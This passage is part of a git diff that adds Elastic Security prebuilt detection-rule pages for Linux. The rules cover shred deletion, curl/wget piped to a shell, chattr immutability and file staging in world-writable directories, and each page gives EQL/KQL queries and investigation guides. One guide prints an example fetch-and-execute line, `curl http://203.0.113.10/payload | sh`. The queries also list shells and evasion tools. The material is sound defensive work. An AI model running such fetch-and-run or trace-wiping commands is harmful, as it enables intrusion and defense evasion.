preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and host.os.type:linux and event.action:(creation or file_create_event or file_rename_event or rename) and +(process.executable:(/tmp/* or /var/tmp/* or /dev/shm/* or ./* or /boot/*) or process.name:.*) and +file.path:/var/log/* and not file.extension:* and +not process.executable:("./usr/bin/podman" or "./install" or /tmp/vmis.*/install/vmware-installer/vmis-launcher or /tmp/ubuntu-release-upgrader-*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Clear Linux or Mac System Logs +** ID: T1070.002 +** Reference URL: https://attack.mitre.org/techniques/T1070/002/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-creation-in-world-writable-directory-by-unusual-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-creation-in-world-writable-directory-by-unusual-process.asciidoc new file mode 100644 index 0000000000..9db8760d33 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-creation-in-world-writable-directory-by-unusual-process.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-34-file-creation-in-world-writable-directory-by-unusual-process]] +=== File Creation in World-Writable Directory by Unusual Process + +This rule detects the creation of files in world-writable directories by an unusual process. Attackers may attempt to hide their activities by creating files in world-writable directories, which are commonly used for temporary file storage. This behavior is often associated with lateral movement and can be an indicator of an attacker attempting to move laterally within a network. + +*Rule type*: new_terms + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.rapid7.com/blog/post/tr-new-whitepaper-stealthy-bpfdoor-variants/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: New Terms +* Platform: Linux + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File Creation in World-Writable Directory by Unusual Process* + + +This alert flags a Linux process that normally should not stage content in shared writable locations such as /tmp, /var/tmp, /run, or /dev/shm. Attackers abuse these directories because many users and services can write there, which makes payloads and helper scripts easier to hide; for example, a compromised shell may use curl or python to drop an ELF backdoor into /dev/shm and execute it from that transient path. + + +*Possible investigation steps* + + +- Reconstruct the full process lineage and execution context around the file creation to determine whether it originated from an interactive session, scheduled task, container, service account, or a parent process already running from an unusual location. +- Inspect the dropped file's type, permissions, ownership, hash, and contents to assess whether it is a script, ELF, archive, or disguised payload, and determine if it was later executed, renamed, or moved to a more persistent path. +- Correlate the alert with nearby authentication, privilege escalation, and network activity on the same host to identify signs of compromise such as recent SSH access, sudo use, remote command execution, or outbound connections to untrusted infrastructure. +- Validate whether the activity aligns with known administrative or software deployment behavior by checking package ownership, change records, automation tooling, and host or user prevalence, since one-off staging in shared writable paths is more suspicious than common fleetwide behavior. + + +*False positive analysis* + + +- Legitimate package installation, OS update, or local maintenance script activity can use interpreters or utilities such as cp, mv, chmod, curl, or python to stage temporary files in /tmp or /var/tmp before moving them into place, so verify whether the process tree, user, and event time align with expected system change or package management activity on the host. +- Normal service startup or deployment automation may create transient files in /run or /dev/shm for configuration generation, caching, or runtime state, so confirm the file owner, contents, and parent process match a known application or boot-time workflow and that the same behavior is regularly seen on comparable systems. + + +*Response and remediation* + +- Isolate the affected Linux host from the network while preserving forensic access, stop the malicious process and any spawned tools, and collect copies of the dropped file before cleanup. +- Remove attacker footholds by deleting the dropped file. +- Restore the system to a known-good state by rebuilding from a trusted image or validated backup and verifying core packages, shell configuration files, scheduled tasks, and remote access settings match the approved baseline before reconnecting it. +- Escalate to incident response immediately if the file creation was followed by privilege escalation, credential access, outbound tool downloads, lateral movement over SSH, or the same behavior is identified on multiple hosts, and expand scoping to related accounts and systems. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:file and event.type:creation and ( + process.name:("cp" or "mv") or + process.executable:( + ./* or /tmp/* or /var/tmp/* or /dev/shm/* or /run/user/* or /var/run/user/* or /boot/* or /sys/* or + /lost+found/* or /proc/* or /var/mail/* or /var/www/* + ) +) and +file.path:(/run/* or /var/run/* or /dev/shm/* or /tmp/* or /var/tmp/*) and +not ( + file.path:( + /var/tmp/dracut.* or /var/tmp/mkinitramfs_* or /tmp/.*-00000000.so or /run/udev/rules.d/* or + /tmp/new_root/* or /tmp/newroot/* or /run/user/*/.bubblewrap/newroot/* or /tmp/tmp.*/docker-scout_* or + /var/tmp/portage/* or /tmp/yarn--* or /run/k3s/containerd/* or /var/tmp/pamac-build-* or + /tmp/mkinitcpio* or /run/user/*/netns/netns-* or /tmp/apt-key* or /tmp/tmp.*/pubring.orig.gpg or + /tmp/CVU_19_* or /tmp/ut-backup-files.* or /tmp/tmp.*/terraform/* or + /run/initramfs/* or /run/samba/* or /run/qemu/* or /var/run/qemu/* or /run/containerd/* or + /var/run/sophos/* or /tmp/*sophos-tmpfs* or /tmp/*sophos_sensor* + ) or + file.extension:("json" or "txt" or "log" or "pid" or "conf" or "cnf" or "pem" or "lock" or "xml" or "bak" or "gz") or + process.executable:( + /tmp/par-* or /tmp/par_tmp.* or /tmp/snap.rootfs_* or /tmp/CVU_*/exectask or /tmp/.mount_*/usr/bin/QGroundControl or + ./snap/snapd/*/usr/lib/snapd/snap-update-ns or "./usr/lib/snapd/snap-update-ns" or + "/tmp/newroot/snap/snapd/current/usr/bin/snap" or /tmp/newroot/snap/snapd/*/usr/lib/snapd/snap-confine or + "./usr/bin/podman" or "/tmp/newroot/usr/lib/systemd/systemd" or + /tmp/pip-install-* or /tmp/pip-build-env-* or /tmp/*Actions*/* or /tmp/GridSetupActions*/* + ) or + process.name:("build-script-build" or "conftest" or "maturin") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Linux and Mac File and Directory Permissions Modification +** ID: T1222.002 +** Reference URL: https://attack.mitre.org/techniques/T1222/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-deletion-via-shred.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-deletion-via-shred.asciidoc new file mode 100644 index 0000000000..bac46c38c5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-deletion-via-shred.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-34-file-deletion-via-shred]] +=== File Deletion via Shred + +Malware or other files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Auditd Manager +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File Deletion via Shred* + + +The `shred` command in Linux is used to securely delete files by overwriting them, making recovery difficult. Adversaries exploit this to erase traces of malicious activity, hindering forensic analysis. The detection rule identifies suspicious use of `shred` by monitoring its execution with specific arguments, excluding benign processes like `logrotate`, to flag potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the use of the `shred` command with suspicious arguments such as "-u", "--remove", "-z", or "--zero". +- Identify the user account associated with the `shred` process to determine if the activity aligns with expected behavior for that user. +- Investigate the parent process of `shred` to ensure it is not `logrotate` and assess whether the parent process is legitimate or potentially malicious. +- Examine the timeline of events leading up to and following the `shred` execution to identify any related suspicious activities or file modifications. +- Check for any other alerts or logs related to the same host or user to identify patterns or additional indicators of compromise. +- Assess the impact of the file deletion by determining which files were targeted and whether they are critical to system operations or security. + + +*False positive analysis* + + +- Logrotate processes may trigger false positives as they use shred for legitimate log file management. Exclude logrotate as a parent process in detection rules to prevent these alerts. +- System maintenance scripts that securely delete temporary files using shred can cause false positives. Identify and whitelist these scripts to reduce unnecessary alerts. +- Backup or cleanup operations that involve shredding old data might be flagged. Review and exclude these operations if they are part of routine system management. +- User-initiated file deletions for privacy or space management can appear suspicious. Educate users on the implications of using shred and consider excluding known user actions if they are frequent and benign. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity or data exfiltration. +- Terminate any active `shred` processes that are not associated with legitimate applications like `logrotate` to halt ongoing file deletion. +- Conduct a thorough review of recent system logs and file access records to identify any additional malicious activities or files that may have been created or modified by the adversary. +- Restore any critical files that were deleted using `shred` from the most recent backup, ensuring the integrity and security of the backup source. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring on the affected system and similar environments to detect any future unauthorized use of `shred` or similar file deletion tools. +- Review and update endpoint security configurations to prevent unauthorized execution of file deletion commands by non-administrative users. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.name == "shred" and ( +// Any short-flag cluster containing at least one of u/z, and containing no extra "-" after the first one +process.args regex~ "-[^-]*[uz][^-]*" or +process.args in ("--remove", "--zero") +) and +not process.parent.name == "logrotate" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-downloaded-by-curl-wget-and-piped-to-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-downloaded-by-curl-wget-and-piped-to-interpreter.asciidoc new file mode 100644 index 0000000000..6142d9d92b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-downloaded-by-curl-wget-and-piped-to-interpreter.asciidoc @@ -0,0 +1,206 @@ +[[prebuilt-rule-8-19-34-file-downloaded-by-curl-wget-and-piped-to-interpreter]] +=== File Downloaded by Curl/Wget and Piped to Interpreter + +This rule detects when a file is downloaded by curl or wget, and piped to an interpreter. Attackers may use this technique to download and execute payloads for various malicious purposes, such as establishing persistence or exfiltrating data. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Command and Control +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File Downloaded by Curl/Wget and Piped to Interpreter* + + +This rule identifies Linux activity where curl or wget retrieves content from a remote path and sends it directly to a shell or scripting interpreter, enabling code execution without first saving a conventional file. An attacker may run `curl http://203.0.113.10/payload | sh` to execute a staged payload and rapidly establish persistence or launch data theft. + + +*Possible investigation steps* + + +- Reconstruct the complete process ancestry and descendants to identify the initiating user, access vector, executed commands, and any follow-on payloads. +- Extract the remote URL, resolve redirects, assess domain and IP reputation, and safely retrieve the content for hashing, static analysis, and sandbox execution. +- Correlate DNS, proxy, firewall, and endpoint network telemetry to confirm the connection, transferred bytes, related destinations, and other affected hosts. +- Examine the host for persistence, dropped files, credential access, privilege escalation, account changes, or suspicious outbound connections occurring after the alert. +- Confirm whether the activity was authorized by the user or system owner, and isolate the host, block indicators, and revoke exposed credentials if malicious intent is established. + + +*False positive analysis* + + +- An administrator may use curl or wget to stream an approved installation or configuration script into a shell during deployment; verify the initiating account, change record, remote destination, and retrieved script contents. +- An automated Linux provisioning or maintenance task may fetch and execute a trusted script through an interpreter; confirm the process ancestry, expected schedule, command line, destination ownership, and consistency across authorized hosts. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network while preserving volatile evidence, running processes, shell history, downloaded content, and relevant system logs. +- Block the malicious URL, domain, IP address, and payload hashes across DNS, proxy, firewall, endpoint, and email controls, and identify other hosts that contacted the same infrastructure. +- Terminate malicious processes and remove associated persistence from cron jobs, systemd units, shell profiles, startup scripts, SSH authorized keys, modified accounts, and files in locations such as `/tmp`, `/var/tmp`, and `/dev/shm`. +- Escalate immediately to incident response if privileged execution, credential theft, lateral movement, data exfiltration, or the same indicators on multiple hosts are identified, and rotate affected passwords, keys, tokens, and secrets. +- Reimage the system or restore it from a verified known-good image, validate package and configuration integrity, apply security updates, and monitor closely for renewed connections or execution. +- Prevent recurrence by restricting outbound access, allowlisting approved download sources, limiting curl and wget use for service accounts, and alerting on streamed interpreter execution and executables launched from temporary or memory-backed paths. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.parent.entity_id, process.working_directory with maxspan=1s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name in ("curl", "wget") and + ( + /* IP address and path */ + process.command_line regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}(:[0-9]{1,5})?\\/[^ ]+.*" or + /* URL and path */ + process.command_line regex ".*[A-Za-z0-9][A-Za-z0-9\\-]*(\\.[A-Za-z0-9][A-Za-z0-9\\-]*)+(:[0-9]{1,5})?\\/[^ ]+.*" + ) and + process.args_count <= 3 and ( + process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox", "node", "deno", "ash", "mksh", "pwsh") or + process.parent.name like (".*", "python*", "perl*", "ruby*", "lua*", "php*") or + process.parent.executable like ( + "/tmp/*", "/var/tmp/*", "/dev/shm/*", "./*", "/run/*", "/var/run/*", "/boot/*", "/sys/*", "/lost+found/*", + "/proc/*", "/var/mail/*", "/var/www/*", "/dev/fd/*", "?memfd:*", "memfd:*" + ) + ) and + not ( + process.args in ("-h", "--help", "-V", "--version", "--output", "-O") or + process.args like ("--output*", "-o*", "--remote-name*") or + process.command_line like ("*127.0.0.1*", "*localhost*", "*artifacts.elastic.co*", "*ela.st*", "*elastic.co*") + )] + [process where host.os.type == "linux" and event.type == "end" and event.action == "end" and + process.name like ( + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", + "python*", "perl*", "ruby*", "lua*", "php*", "node" + ) and process.args_count == 1 and + process.args like ( + "-bash", "-dash", "-sh", "-tcsh", "-csh", "-zsh", "-ksh", "-fish", "-ash", "-mksh", "-pwsh", + "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "ash", "mksh", "pwsh", + "/bin/bash", "/bin/dash", "/bin/sh", "/bin/tcsh", + "/bin/zsh", "/bin/ksh", "/bin/fish", + "/bin/csh", "/bin/ash", "/bin/mksh", "/bin/pwsh", + "/usr/bin/bash", "/usr/bin/dash", "/usr/bin/sh", "/usr/bin/tcsh", + "/usr/bin/csh", "/usr/bin/zsh", "/usr/bin/ksh", "/usr/bin/fish", + "/usr/bin/ash", "/usr/bin/mksh", "/usr/bin/pwsh", + "/usr/local/bin/bash", "/usr/local/bin/dash", "/usr/local/bin/sh", "/usr/local/bin/tcsh", + "/usr/local/bin/csh", "/usr/local/bin/zsh", "/usr/local/bin/ksh", "/usr/local/bin/fish", + "/usr/local/bin/ash", "/usr/local/bin/mksh", "/usr/local/bin/pwsh", + "python*", "/bin/python*", "/usr/bin/python*", "/usr/local/bin/python*", + "perl*", "/bin/perl*", "/usr/bin/perl*", "/usr/local/bin/perl*", + "ruby*", "/bin/ruby*", "/usr/bin/ruby*", "/usr/local/bin/ruby*", + "lua*", "/bin/lua*", "/usr/bin/lua*", "/usr/local/bin/lua*", + "php*", "/bin/php*", "/usr/bin/php*", "/usr/local/bin/php*", + "node", "/bin/node", "/usr/bin/node", "/usr/local/bin/node", + "/dev/fd/*", "?memfd:*", "memfd:*" + ) + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-made-immutable-by-chattr.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-made-immutable-by-chattr.asciidoc new file mode 100644 index 0000000000..78fbd38408 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-file-made-immutable-by-chattr.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-34-file-made-immutable-by-chattr]] +=== File made Immutable by Chattr + +Detects a file being made immutable using the chattr binary. Making a file immutable means it cannot be deleted or renamed, no link can be created to this file, most of the file's metadata can not be modified, and the file can not be opened in write mode. Threat actors will commonly utilize this to prevent tampering or modification of their malicious files or any system files they have modified for purposes of persistence (e.g .ssh, /etc/passwd, etc.). + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 33 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File made Immutable by Chattr* + + +The `chattr` command in Linux is used to change file attributes, including making files immutable, which prevents modifications or deletions. Adversaries exploit this to secure malicious files or altered system files against tampering, aiding persistence. The detection rule identifies suspicious use of `chattr` by monitoring process executions, filtering out benign parent processes, and focusing on those altering immutability attributes, thus highlighting potential misuse. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the use of the chattr command with arguments altering immutability, specifically looking for "+i" or "-i" in process.args. +- Identify the file(s) targeted by the chattr command to determine if they are critical system files or files commonly targeted by threat actors, such as .ssh or /etc/passwd. +- Investigate the parent process of the chattr execution by examining process.parent.executable and process.parent.name to determine if it is a known benign process or potentially malicious. +- Check the user context under which the chattr command was executed to assess if it aligns with expected administrative activity or if it indicates unauthorized access. +- Correlate the event with other security alerts or logs to identify any related suspicious activities, such as unauthorized access attempts or changes to other system files. +- Evaluate the risk and impact of the immutable file(s) on system operations and security posture, considering the potential for persistence or defense evasion by threat actors. + + +*False positive analysis* + + +- System processes like systemd and cf-agent may invoke chattr for legitimate reasons, such as system maintenance or configuration management. To handle these, exclude these processes by adding them to the exception list in the detection rule. +- Scheduled tasks or scripts that use chattr to manage file attributes for security or operational purposes can trigger false positives. Identify these tasks and exclude their parent processes from the rule. +- Administrative actions performed by authorized users, such as securing configuration files, might be flagged. Regularly review and update the list of known benign parent processes to prevent unnecessary alerts. +- Security tools or agents that modify file attributes as part of their protection mechanisms can cause false positives. Ensure these tools are recognized and excluded by their executable paths or parent process names. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Identify and terminate any malicious processes associated with the `chattr` command to stop further unauthorized file modifications. +- Restore the affected files from a known good backup, ensuring that any immutable attributes set by the attacker are removed. +- Conduct a thorough review of user accounts and permissions on the affected system to ensure no unauthorized access or privilege escalation has occurred. +- Implement file integrity monitoring to detect unauthorized changes to critical system files, enhancing detection capabilities for similar threats. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are compromised. +- Review and update security policies and configurations to prevent unauthorized use of the `chattr` command, such as restricting its execution to trusted administrators only. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the 